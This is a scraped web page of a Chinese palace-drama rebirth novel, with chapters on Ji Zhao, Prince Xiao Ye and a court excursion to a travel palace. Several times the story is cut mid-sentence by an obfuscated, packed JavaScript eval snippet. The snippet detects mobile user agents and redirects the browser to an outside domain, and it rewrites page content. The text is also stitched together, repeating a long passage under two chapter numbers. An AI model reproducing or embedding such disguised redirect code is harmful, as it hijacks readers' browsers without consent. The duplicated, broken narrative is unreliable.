打了朝廷命官不是一次而是两次,按朝律,得按谋逆论处的。 就算太后再庇护柔仪公主,这次也不能了皇帝忍着怒气:“人治得怎么样了?” 封院正:“人救过来了,额头破了个洞,止住血。就是要静养一些日子不能移动。” 皇帝松了口气:“人没死就好。**怎么和朝廷百官交代?柔仪也得陪葬。” 苏玉臣:“皇上,是学弟周行知拉了官吏一把。要不是他,人早就**。” 封院正:“苏郎君说的是。要不是有人拉一把,这存了死志的人撞上去不是头骨碎裂就是脖颈断折,后果很严重。” 皇帝是知道这事的。因为魏曹公先前把事来龙去脉都禀报了。 苏玉臣提起这事是要替周行知讨赏。 皇帝愿意赏。 他对苏玉臣:“你一会领着朕的口谕,去嘉奖周行知,赐了笔墨纸砚,再让他入太学读书。” 苏玉臣替周行知谢了恩典,然后去传口谕。 处置完琐事,皇帝还是觉得心烦。 好好地出行第一日就被柔仪公主给搅乱了。 皇后带了安神汤前来。 她见皇帝还在烦恼,柔声安慰:“还好没出什么岔子,柔仪也吃到了教训。” 皇帝瞧了她一眼:“这次你不要乱做好人,给她送衣送吃的。言官会连着你一起骂的。” 皇后点头:“臣妾不敢。” 皇帝皱眉:“柔仪的封号估计保不住了。太后知道了会很麻烦。” 他越想越烦,几乎不想回京。 回京就得面对言官的各种骂。太后还得找皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第143章定了柔仪去和亲 晚间纪昭姐妹三人用完晚膳,知道她们累了便让她们先回房中歇息。 她问晚秋关于白沁雪。 晚秋:“表姑娘到了院子就喊人洗漱换衣,早早用了晚膳睡下了。奴婢瞧她的屋子都是黑漆漆的。” 纪昭蹙眉——白沁雪太过低调了。 她朝着窗外张望一眼,外面天幕深蓝,月明星稀,四周静谧得恍若异世。 白沁雪的屋子就在她右手边,只要推开窗子张望一眼,喊一声,就能相见。 前世今生,纪昭从没有这般与白沁雪住的如此近。 有种奇怪的感觉。 她很想推醒白沁雪,敞开心扉好好谈一谈。 谈谈她为何要存着害自己的心,明明自己与她并没有争什么。 为何她还流连不去,明明她就算回老家,经过大夫人秦氏的运作也可以嫁得很好的门第。 为什么这些人非要从水底翻涌出浪花,让人瞧见底部的脏污恶心,然后搅得所有人都不安宁? 想不通,纪昭也不愿再想。 前世白沁雪踩了她的尸骨,夺了她侯府千金的名声一步登天嫁给了三皇子。婚后数年,她诞下一儿一女,风光无限。 祖母病逝、大哥纪荣被弹压,弟弟纪蕴被纪蓉的丑事连累,在巷子里被人打了闷棍。一棍子打成了痴傻。 原本纪蕴也有机会得功名,然后过上很好的人生。那一棍子下去,他的人生都没了。 至此,侯府中碍着大夫人秦氏、纪蓉,还有白沁雪眼的人统统都**。只剩下毫无心肝的父亲纪世德当了傀儡侯爷。 …… 前世白沁雪是那一场谋逆叛乱里被活活烧死的。 三皇子谋逆被萧烨带兵反杀。 三皇子跑了,白沁雪绝望之下携一子一女在皇子府中一把火烧了所有。 纪昭在黄泉地狱的虚妄台是一眼不错地看着白沁雪是怎么痛苦嘶吼的。原来白沁雪也会害怕,也会绝望,也会被火烧身得满地打滚。 鬼魂的怨气在一点点消解,最后她才甘愿离开虚妄台。 本以为自己会魂飞魄散,没想到过了那团鬼域迷雾后,一睁眼她竟然在西山温泉别苑中醒来。 她在温泉别苑里蛰伏了三年。直到皇后祈福回宫,现身跟上。 繁杂的思绪似水般缓缓滑过,脑中清明了不少。 纪昭并没有想退缩,也不想探究白沁雪为什么要作恶。她只是亲眼瞧见了柔仪公主的命运轨迹不可撼动,生出些许感慨。 窗棂突然被石头打了一下。 纪昭怔愣住。 她以为是树上的松鼠跑过掉下松子。 可第二下声音传来。 这下纪昭听清楚了,是有人要见她。 是谁? 纪昭纳闷。 她点了烛火在地上寻找,只找到两个石子。没有纸条。 不过看到这石子,纪昭就笑了,她知道是谁来寻她。 纪昭披上外衣,提了个灯笼让晚意打开院子角门。 月色皎洁,树影憧憧,能看见石头板上灰白的印记。 有人躬着腰,猫步走了过来,悄悄打招呼:“睿亲王喝多了,然后说要与纪大小姐说话。” 来人苦笑:“您劝劝他。” 纪昭:“……” 说话的是魏曹公。他满脸无奈,低头哈腰求着纪昭去瞧瞧。 纪昭见到了萧烨。 他坐在一处亭子里,旁边是假山,月亮很大就挂在假山上。借着月光,纪昭没瞧见他的神情,不知道他到底喝了多少。 萧烨见她来了,指了指石头凳子:“坐。” 纪昭回头看了一眼,魏曹公缩着手很是命苦地守在外面。晚意很尽忠职守地守在另一条小路上。 纪昭:“殿下喝多了吗?” 萧烨揉了揉眉心:“没有。” 纪昭:“殿下果然喝多了。” 萧烨不语。 纪昭陪着他枯坐,结果等了半天萧烨竟然一声不吭,只是定定看着明月。 这么坐下去也不是办法。 纪昭:“要不让下人做点醒酒汤端来?” 萧烨摇头:“不用。有件事想与你说,柔仪要去和亲了。” 纪昭怔愣片刻。 萧烨:“还有件事,今日其实是我母妃生辰。” 纪昭缓缓道:“殿下一定很伤心?” 萧烨摇头:“太久了,早就忘了伤心是什么滋味。只是今夜皇兄与我说了母妃临终前一些事,有些感慨。” 纪昭迟钝想到,他说的“皇兄”就是当今圣上。 萧烨:“皇兄喝多了,与我哭。说他贵为一国之君竟然也不能为母妃正名。” 纪昭心中摇头叹气。 皇帝当然不能,因为他已经认了当今太后为母。且当年萧烨的母妃——辰妃过世的时候是品级很小的贵人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白沁雪恭维:“大姐姐今日气色很好。这一打扮似神仙妃子似的,让人移不开眼去。” 第154章 愁思 晚间纪昭姐妹三人用完晚膳,知道她们累了便让她们先回房中歇息。 她问晚秋关于白沁雪。 晚秋:“表姑娘到了院子就喊人洗漱换衣,早早用了晚膳睡下了。奴婢瞧她的屋子都是黑漆漆的。” 纪昭蹙眉——白沁雪太过低调了。 她朝着窗外张望一眼,外面天幕深蓝,月明星稀,四周静谧得恍若异世。 白沁雪的屋子就在她右手边,只要推开窗子张望一眼,喊一声,就能相见。 前世今生,纪昭从没有这般与白沁雪住的如此近。 有种奇怪的感觉。 她很想推醒白沁雪,敞开心扉好好谈一谈。 谈谈她为何要存着害自己的心,明明自己与她并没有争什么。 为何她还流连不去,明明她就算回老家,经过大夫人秦氏的运作也可以嫁得很好的门第。 为什么这些人非要从水底翻涌出浪花,让人瞧见底部的脏污恶心,然后搅得所有人都不安宁? 想不通,纪昭也不愿再想。 前世白沁雪踩了她的尸骨,夺了她侯府千金的名声一步登天嫁给了三皇子。婚后数年,她诞下一儿一女,风光无限。 祖母病逝、大哥纪荣被弹压,弟弟纪蕴被纪蓉的丑事连累,在巷子里被人打了闷棍。一棍子打成了痴傻。 原本纪蕴也有机会得功名,然后过上很好的人生。那一棍子下去,他的人生都没了。 至此,侯府中碍着大夫人秦氏、纪蓉,还有白沁雪眼的人统统都**。只剩下毫无心肝的父亲纪世德当了傀儡侯爷。 …… 前世白沁雪是那一场谋逆叛乱里被活活烧死的。 三皇子谋逆被萧烨带兵**。 三皇子跑了,白沁雪绝望之下携一子一女在皇子府中一把火烧了所有。 纪昭在黄泉地狱的虚妄台是一眼不错地看着白沁雪是怎么痛苦嘶吼的。原来白沁雪也会害怕,也会绝望,也会被火烧身得满地打滚。 鬼魂的怨气在一点点消解,最后她才甘愿离开虚妄台。 本以为自己会魂飞魄散,没想到经过那团鬼域迷雾后,一睁眼她竟然在西山温泉别苑中醒来。 她在温泉别苑里蛰伏了三年。直到皇后祈福回宫,现身跟上。 繁杂的思绪似水般缓缓滑过,脑中清明了不少。 纪昭并没有想退缩,也不想探究白沁雪为什么要作恶。她只是亲眼瞧见了柔仪公主的命运轨迹不可撼动,生出些许感慨。 窗棂突然被石头打了一下。 纪昭怔愣住。 她以为是树上的松鼠跑过掉下松子。 可第二下声音传来。 这下纪昭听清楚了,是有人要见她。 是谁? 纪昭纳闷。 她点了烛火在地上寻找,只找到两个石子。没有纸条。 不过看到这石子,纪昭就笑了,她知道是谁来寻她。 纪昭披上外衣,提了个灯笼让晚意打开院子角门。 月色皎洁,树影憧憧,能看见石头板上灰白的印记。 有人躬着腰,猫步走了过来,悄悄打招呼:“睿亲王喝多了,然后说要与纪大小姐说话。” 来人苦笑:“您劝劝他。” 纪昭:“……” 说话的是魏曹公。他满脸无奈,低头哈腰求着纪昭去瞧瞧。 纪昭见到了萧烨。 他坐在一处亭子里,旁边是假山,月亮很大就挂在假山上。借着月光,纪昭没瞧见他的神情,不知道他到底喝了多少。 萧烨见她来了,指了指石头凳子:“坐。” 纪昭回头看了一眼,魏曹公缩着手很是命苦地守在外面。晚意很尽忠职守地守在另一条小路上。 纪昭:“殿下喝多了吗?” 萧烨揉了揉眉心:“没有。” 纪昭:“殿下果然喝多了。” 萧烨不语。 纪昭陪着他枯坐,结果等了半天萧烨竟然一声不吭,只是定定看着明月。 这么坐下去也不是办法。 纪昭:“要不让下人做点醒酒汤端来?” 萧烨摇头:“不用。有件事想与你说,柔仪要去和亲了。” 纪昭怔愣片刻。 萧烨:“还有件事,今日其实是我母妃生辰。” 纪昭缓缓道:“殿下一定很伤心?” 萧烨摇头:“太久了,早就忘了伤心是什么滋味。今夜皇兄与我说了母妃临终前一些事,有些感慨。” 纪昭迟钝想到,他说的“皇兄”就是当今圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493179|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 萧烨:“皇兄喝多了,与我哭。说他贵为一国之君竟然也不能为母妃正名。而我听着皇兄的哭泣竟哭不出来,一滴泪都没有。” 他黝黑的眸子盯着纪昭:“我也不知道为什么我没有眼泪。我是不是很心硬?” 纪昭沉默片刻:“不是,殿下只是把心里最软的地方盖住了。” 萧烨点头:“我想也是。不然就不算是人子了。” 他默默坐了一会儿,又重复:“母妃到死还不是太后,明明她生了两个儿子,一个还是皇帝。” 纪昭心中叹气。 皇帝当然不能,因为他已经认了当今太后为母。且当年萧烨的母妃——辰妃过世的时候是品级很小的贵人。 当时她算婢妾,连嫔都算不上。是皇帝登基后,寻了借口追封了两次才封为辰妃。所以可想而知,太后背后的势力多强大。 皇帝不容易,萧烨也不容易。 纪昭想要安慰却找不到什么话来说。 她总不能说自己掐指一算,大约六年后太后驾鹤西去,恩怨两消。 萧烨又在沉默。 纪昭没办法与他呆下去。 她起身:“殿下,我扶您回去。” 萧烨站起身:“不用。” 他深深看了纪昭一眼:“今夜的事你烂在肚子里。” 纪昭点头:“我刚才什么都没听见。” 萧烨拄着手杖慢慢往亭外走去。魏曹公赶紧上前扶着他。 魏曹公絮叨着什么,萧烨并没有不耐烦,由着他絮絮叨叨一路走远了。 纪昭站在亭上,看着月华落在萧烨宽阔的背上。 晚意悄悄走来:“大小姐我们该回去了。明日还得去给皇后娘娘请安。” 纪昭忽然道:“今夜是怎么了?怎么觉得每个人都有难以说出口的心事。” 晚意:“也许换了个地方,让人想逃吧。” 纪昭猛地警醒。 四周都是陌生的景色,这里不似凡尘俗世,于是会让人无端生出许多懈怠和愁绪。 不应该,一点都不应该。 仇人还在身侧,还伺机作恶,她怎么能有了逃避的心思? 纪昭重新振作:“是,早些安歇,明日还得请安。还有不少事等着咱们。” 第155章 见到齐王 第二日一早,纪昭醒来,由丫鬟们梳妆打扮。来行宫不比京城,说白了在这里其实更像是名利场,富贵窝。 因为全天下权势最厉害的几家都来了。 权贵**之地,争奇斗艳、你来我往是常事。 纪昭由着贴身丫鬟打扮自己,穿戴一件件贵重首饰时,几乎疑心昨晚自己是被梦魇住了,不然怎么会觉得行宫平静安稳? 正打扮着,白沁雪过来请安。 纪昭瞧了瞧时辰:“她倒来的很早。” 吩咐丫鬟让白沁雪进来。 白沁雪昨晚早睡,今日一早精神很好。她改了昨日在路上的丧气,水嫩的脸上明眸微动,有了往昔的神采。 白沁雪恭维:“大姐姐今日气色很好。这一打扮似神仙妃子似的,让人移不开眼去。” 纪昭身穿云雾紫留仙裙,裙子是宫廷式样,华美异常。上身是雪色蜀绣锦面交领短襦,还披了一条紫纱披帛。 头发作灵蛇髻,因没成婚留了一半发披在肩上用米粒小的珍珠链归拢。腰间束着同色云雾紫丝带,用紫玉佩。 紫色为尊,衬得她肤色极白皙,五官精致美丽。她个子颀长,如此打扮华贵又仙气飘飘。 丫鬟们没见过这样式的裙子,直都看呆了。 白沁雪这么夸,只能说名副其实。 纪昭含笑:“沁雪表妹今日打扮得十分清爽。” 白沁雪脸色僵了僵,赔笑:“大姐姐谬赞了。我这次来是陪大姐姐玩耍的,不会喧宾夺主。” 她以为纪昭说的是反话。 但纪昭却并没有。 白沁雪今日穿的是一袭淡青色罗裙,上衣是月华白短襦,腰间束着丝带,配着白玉玉佩。 头上簪的是珍珠钗,还有两支流苏,并几朵素色绢花。 这一身打扮在夏季时节很应景,很清爽,况且白沁雪的容貌属于小家碧玉,肤白秀美,越是清淡的打扮越是好看。 纪昭见白沁雪小心翼翼,笑了笑,不再争辩。 她和白沁雪是死敌,互相不信才是正常。 纪昭打扮妥当时,纪璇静与纪灵都来了。 纪昭先带着她们一起去紫云殿给皇后请安。 所谓的请安,自然不是都能一股脑过去。纪昭能进去说话,其余三人只能在外面磕个头。皇后没召见,她们便散去。 纪昭前去紫云殿,过了一会儿,黄尚宫出来笑着迎她。 其余三女在外面规规矩矩朝着正殿里面磕了头。 黄尚宫目光扫过三女,最后看着白沁雪:“这位就是纪府的表小姐吧?” 白沁雪低声道:“回尚宫的话,是。” 黄尚宫笑了笑:“挺水灵的。” 白沁雪脸红道谢。 黄尚宫又看看两位纪府的小姐,对纪璇静道:“这位是纪府的堂小姐吧?” 纪璇静连忙行礼:“回尚宫的话,是。尚宫真是好记性。” 黄尚宫笑道:“听说你要与忠义伯爵府说亲,娘娘也问了两句。” 纪璇静又惊又喜:“皇后娘娘竟然知晓此事,小女何德何能。” 黄尚宫:“你且在这里待一会儿,约莫会有赏赐。” 她说着对纪昭道:“娘娘在殿中与几位夫人们说话呢,快些进去。” 纪昭于是进去拜见皇后。 皇后气色不错,穿着一袭明红色的凤服,头上戴着累丝四凤点翠头冠,面上敷粉。神采奕奕。 凤座下左右两边各坐着三位身穿华服的诰命贵妇。 也有公主。 左手第一位便是贞祈长公主,以下依次是陈王妃、护国夫人,右手边便是郑国公夫人、郭国夫人,还有很面生的齐家大夫人。 纪昭上前见礼。 皇后让人看座,放在了左边王妃一列。 皇后笑道:“刚才与几位夫人说着行宫好游玩的风景,桃花林下午可以一起去瞧瞧。” 贞祈长公主笑道:“晚上还有献艺歌舞的。听说南边的举荐一支唱戏的班子,晚上可以在畅听阁看戏。” 齐家大夫人笑道:“也有大家,越三娘子听说请来了,不知道是真的来了还是没来。” 此话一出,座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493180|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的夫人们都起了兴致。 皇后含笑:“应该是请到了,不过内务府还没将册子递给本宫瞧。虽说越三娘子年事已高,但据说驻颜有术,容颜和身段一点都不老。” 纪昭挑眉,心中暗自思附。 越三娘子成名的时候是十五年前,算起来今年应该是三十岁。 三十岁不生不育,又勤加练习的确是不会太老。 陈王妃笑道:“听说纪家大姑娘会剑舞?” 纪昭谦虚道:“只是胡乱会一些剑招,并不是真正剑舞。” 郑国公夫人替她打圆场:“陈王妃不要让她起剑舞了,睿亲王会秋后算账。上次我起了兴致让纪家大小姐舞了一段,睿亲王还特地来骂我一通。” 陈王妃听了这话,笑道:“听听,我才刚起了个头,还没说怎么样呢。你们就护着,让我余下的话是说不得了。” 皇后:“赐婚圣旨下了,身份不同以往,自然是不能让准王妃抛头露面。” 陈王妃抿嘴笑:“这个我知道,我只是问问。都说睿亲王妃才貌双全,能文能武,那我是很好奇的。” 纪昭笑道:“能武勉强可以说说,能文却是过奖了。我没读多少书。” 陈王妃似乎很喜欢纪昭的坦诚,笑道:“听听又自谦了。这样子真招人稀罕。纪家大姑娘放心,女子不需要读多少书,看得懂几个字就行。” 正说着话,外面有内侍匆匆进来:“齐王携齐王妃前来。” 皇后吃惊:“怎么突然来了?” 众人整理衣衫,随着皇后前去见人。 齐王携着齐王妃缓步前来。 纪昭再次见到齐王才有空仔细打量。 齐王大约三十五六岁,容貌俊雅,气质十分出尘,有种天家仙品的感觉。 与皇帝的雍容华贵,威仪内敛非常不一样。除去那一身服冕,他穿上道袍就极像得道的道士。 齐王妃年轻许多,大约二十七八的模样,鹅蛋脸,容貌端庄秀丽。因为保养得很好,脸盘圆润,十分富态。 纪昭瞧了一眼齐王,迅速低了头。 第156章 怪异的感觉 齐王带着齐王妃拜见了皇后,然后说了两句,齐王便告辞离开,留着齐王妃在紫云殿中陪着皇后说话。 齐王妃性子活泼,瞧见纪昭,得知纪昭是萧烨的准王妃便一直问她话。 她笑道:“睿亲王那么孤僻冷漠的一个人,竟然也肯同意成婚了。我在封地听到这消息时还惊了半天。” 皇后笑了笑:“终归是要成家的。” 齐王妃又说起了一路上的见闻,忽地道:“来的路上我们听说乌狐山有祥瑞。” 这话引起了所有人的好奇。 乌狐山就在行宫后面,天气好的时候能瞧得见山峰。 皇后急忙问是什么祥瑞。 齐王妃笑道:“王爷问了看见祥瑞的猎户,说是瞧见一群凤凰在乌狐山那边飞。王爷已经派了人去跟踪,万一真的能抓到凤凰,那岂不是大功一件。” 皇后吃惊:“凤凰怎么捉?那可是祥瑞。” 齐王妃:“就算抓不到,拿到一支凤羽也是极好的征兆。” 贞祈长公主:“可能不是凤凰,是羽毛好看的山**?” 齐王妃笑得很娇憨:“不,一定是凤凰。猎户什么山鸡没见过,说是凤凰那一定是凤凰。” 她说得笃定,在座的人便不再反驳。 纪昭瞧着一团娇憨的齐王妃,微微蹙眉。 这齐王妃总是给她一种很奇怪的感觉。 和陈王妃的话多活泼不同,陈王妃的话多活泼是属于好奇八卦,并不让人讨厌。 但齐王妃感觉她有点刻意做作。 总之,这对夫妻本就不简单,不能轻易相信自己看见听见的。 不过,祥瑞? 纪昭在脑海里苦苦思索前世有关祥瑞的事,却依旧没什么线索。 好难。难道这一干别有居心的人竟然放过了皇帝出行这么个大好时机? 与皇后说完话,皇后果然看在纪昭的面子上赏了纪璇静。 皇后:“本宫见过你的堂妹,很是天真的一个小姑娘,但愿她得嫁如意郎君。” 皇后赏赐了一对同心结、一尊小的送子观音,几匹绸缎。 纪璇静在外面等了大半天,终于能进来磕头谢恩,随着纪昭出了殿去。 出了殿外,纪璇静拍着酸痛的脚:“在外面站太久了又不敢乱走动,累**。” 纪昭失笑:“说了有赏赐,让你站一会怎么了?” 纪璇静吐吐舌:“是,我是贪心了。” 纪昭知道她小孩子心性,能在外面等那么久算是不错了。 她问其他两人:“她们去哪儿玩了?” 纪璇静:“灵儿和几个丫头说去桃花林看看。沁雪说要拜见什么夫人。” 纪昭:“她们竟然没做一处?” 纪璇静嗤笑:“灵儿只是年纪小又不傻。她吃了几次亏,早就躲着沁雪。” 纪昭笑了笑:“罢了,不管她们。” 纪璇静按耐不住:“大姐姐,我要去找依乐郡主玩。她与我约好了的。她说带我见五公主,说五公主那边玩的东西最多。” 纪昭:“去吧,看你浑身爬满蚂蚁似的难受。” 纪璇静高兴极了,急不可耐地跑了。 纪昭摇头苦笑。 明明都快嫁人了成天就想着玩。纪灵都比她有心思。 身边的人都散了,纪昭有了时间静下心来寻思。 她边走边想着事,从身后匆匆来一位小内侍。 小内侍追上来:“纪家大小姐,苏郎君说要找纪副统领,想问问大小姐他在哪儿?” 纪昭心知苏玉臣要与自己赴约。 她说了个所在,便在那边等着苏玉臣来。 过了一盏茶功夫,苏玉臣从小径尽头慢慢走了过来。他手中捧着一束桃花,一袭白衣,头上束着一条素色发带。 天光照在他脸上,容色比桃花还灼灼。 他上前见礼。 纪昭:“苏郎君这些日子清减了不少。” 苏玉臣垂眸:“最近要誊抄的公文多了些。” 他说着奉上桃花:“早上与几位公子去桃花林赏了花,见桃花开得比寺中的好,便摘了一捧。” 纪昭看去,果然桃花开的很鲜妍。 她大大方方笑纳:“苏郎君若是簪一枝桃花,铁定十分俊美风流。” 得了她的夸奖,苏玉臣终于露出一丝笑意。 纪昭问了周行知的家事,把想给他说媒的事一并说了。 苏玉臣想了想:“周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493181|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行知虽然是庶子,但从小便与周家嫡子一起在家中私塾中启蒙读书。” “周家的门风很清正,嫡子庶子一并都培养。不然不会让周行知去书院。” 纪昭放了心,又问:“他可有从小定亲的人家?” 苏玉臣摇头:“没有。嫡子的婚事也许一出生便定了,但庶子很少。周行知没有说过他有未过门的妻子。” 纪昭又放了一层心。 她笑道:“那要不这个媒人让苏郎君去当当?” 苏玉臣:“我可以去探探他口风,若是他也喜欢纪家小姐,那自然是十分好。” 纪昭:“那一切拜托苏郎君。” 她又夸了一句:“苏郎君出马,一定是马到成功的。” 苏玉臣瞧了她一眼,不说话了。 纪昭讪讪。 她知道苏玉臣的心思。其实以眼下状况,能不见他就不见,不然又让他升起什么不该有的心思。 但现在不得厚着脸皮拜托他探周行知的底,自己觉得似乎哪儿理亏了。 纪昭觉得头疼又麻烦。 她向来不懂男女之情,从前不懂,**做鬼更没有往那边想,现在更加不懂。不知道该说什么话才能解开苏玉臣心结。 就在尴尬之际,苏玉臣突然开口:“前些日子我寻了睿亲王,说了一些话。” 纪昭:“……” 苏玉臣:“我知道行为孟浪了些,但又不吐不快。” 纪昭叹气:“你说了什么?” 苏玉臣将自己与萧烨的话说了。 纪昭反而被勾起了好奇心:“那睿亲王怎么说的?” 苏玉臣脸色灰败了几分:“他说,让我不能与你沾染半分。” 纪昭吃惊。 她没料到睿亲王萧烨如此霸道。 也不对,这叫做果断。 细细反思,苏玉臣对她有意又巴巴到了萧烨面前说了那一番话,萧烨没让人把他打死算仁慈极了。 萧烨只是让苏玉臣滚蛋,那不是一个丈夫应该做的事吗? 纪昭捋清楚后,对苏玉臣正色:“苏郎君以后这种话不能随便说了。会害了我,也会害了你。” 苏玉臣点头:“我知道。以后再也不犯傻了。” 第157章 前世陈王封地有民变 苏玉臣还说:“事后我想来也十分后悔。若睿亲王是心胸狭小之人,我这么做他必定迁怒你。我这是做了蠢事。” 他脸上的懊悔很明显。 纪昭看出他是真心悔过,心中便释然了。 苏玉臣又道:“周行知这件事我会将功补过,尽力说和。” 纪昭连忙道:“这倒是不必。婚事一定要双方都互相喜欢。若是周行知不愿意,我自然不会勉强。” 苏玉臣点头。 事情说完了,苏玉臣便要离开,没有逗留的意思。 纪昭正要与他道别。 亭下有人轻咳两声:“苏郎君怎么的在这儿?皇上好找。” 纪昭看去,是魏曹公。 苏玉臣朝着魏曹公行了一礼,这才走了。 魏曹公上前笑道:“纪大小姐没有出去玩耍吗?” 纪昭:“今日去给皇后娘娘请安,下午要陪伴皇后娘娘去桃花林看桃花。” 魏曹公瞧着桌上的桃花,含笑道:“这桃花很鲜妍,缺个好瓶子,咱家拿过去给大小姐配个瓶子再还回来。” 他说着抱着桃花就走了,不留给纪昭反悔的机会。 纪昭正纳闷,前边慢慢走来睿亲王萧烨,还有两位男子。 走到近前,萧烨瞧见纪昭一个人,微微蹙眉:“怎么一个人在这儿?” 纪昭心说,怎么这两日都能碰上他。 她上前见礼,萧烨与她引见其他两位。 一位是长公主的驸马赵衍。一位是陈王。 纪昭见过陈王妃,再看陈王,个子比萧烨矮了不少,五官也不是很像。属于中规中矩的样貌。 俗话说龙生九子,个个不同。 萧烨属于相貌最出挑的又是最会打仗的,难怪皇帝忌惮他,又恩宠他。 忌惮是因为实力太强,恩宠是因为皇帝实则喜欢好看的,萧烨好看又是亲弟弟,自然是恩宠多了些。 陈王笑呵呵对萧烨道:“这位便是准弟媳,十四好眼光。” 萧烨:“她是不错。皇后也喜欢她。” 纪昭脸皮热了起来。 陈王笑嘻嘻:“让钦天监早点定日子,好让我喝上喜酒。” 萧烨:“你红封给多少?上次你成婚,我送了好大一笔银子。你要翻两倍还我,我可是你弟弟。” 陈王:“……” 陈王下不来台,讪讪笑着说:“你又不是不知道,兄弟几个属我最穷。” 陈王的封地在陕南。那边山地多粮食产的不多。每年上交的岁赋就不多。他这个王爷自然也是最穷的。 萧烨:“穷还催着我成亲?我还以为你发达了呢。” 陈王:“你闭嘴吧。反正等你成亲我会奉上大礼的。” 萧烨:“好,我等着。” 两兄弟斗嘴,看得纪昭不知道该走还是该留下来听。 驸马赵衍笑着对纪昭解释:“他们两人惯常这样,准王妃不要担心。他们不会打架。” 萧烨冷不丁来了一句:“打架他也打不过我。让他一条腿一只手也不是我的对手。” 陈王:“你不知道我最近专门练了个对付你的招式吗?” 萧烨:“哦?要不要练练?” 陈王:“不,光听名字你就败了。你要不要听。” 萧烨:“说。” 陈王:“我那招叫做‘猛踹瘸子那条好腿’!” 他说完再也忍不住捧着肚子哈哈狂笑。驸马赵衍和纪昭在怔愣过后,脸瞬间红了。 驸马赵衍背过身,低着头,肩头微微颤抖。 纪昭使劲掐着手心,将前世今生所有伤心事都想了一遍还是憋不住。只能拿出很不常用的帕子按着眼睛。 陈王还在笑。 萧烨没笑,只似笑非笑瞧着三人。 纪昭忍得很辛苦,眼泪都蹦出来了,只能不断擦拭。 萧烨:“你们想笑就笑吧。” 纪昭:“不,不敢。” 驸马赵衍:“没,没有的事。陈王殿下真是太……太过分了。” 他没说完就忍不住了,跑出去好远笑出声来。 萧烨面无表情:“笑完了没?” 陈王:“我是不是很厉害……啊……” 萧烨终是没忍住,踹了他一脚。 嬉闹完毕,几人在亭子里喝茶闲聊。 纪昭看萧烨,他并没有因为陈王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498739|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的玩笑而恼羞成怒。且从一开始,纪昭就觉得萧烨没有因为自己是个瘸子而自卑过。 陈王说起他封地的趣闻,很是健谈。驸马赵衍也说了一些趣事。 他们聊到祥瑞。 陈王:“也许真的有凤凰呢。齐王的人说得有鼻子有眼,报给了皇上。” 驸马赵衍:“那定要让礼部赶紧写一写祝祷词。” 萧烨不说话,因为他并不相信,但也不会在这个时候煞风景。 又聊到前来行宫的戏班子和歌舞大家。 陈王很是兴奋,乐不思蜀的样子。他还催促萧烨赶紧定下婚期,他想在京城待到他成婚。 这么多个月够陈王在京城中潇洒玩了。 他打的是这个主意。 萧烨冷冷瞥了陈王一眼:“听说陕南因为西南大旱,也被牵连到了,今年收成肯定也不好。” 陈王不以为意:“收成不好是正常的,收成好才真的出人意料。” 萧烨:“收成不好要防止灾变引起民变。” 陈王还是不在乎:“总之也不归我管。我管了会被言官挫骨扬灰的。” 萧烨不说话了。 有封地的王爷名义上是藩地的最高管辖者,但其实实权都不在手中。王爷若是插手地方政务,那便有谋逆之心。 纪昭坐在旁边听着,突然脑中冒出一件事。 猛地坐直。 她的异样旁人没注意,萧烨练武之人一下子瞧了过来。 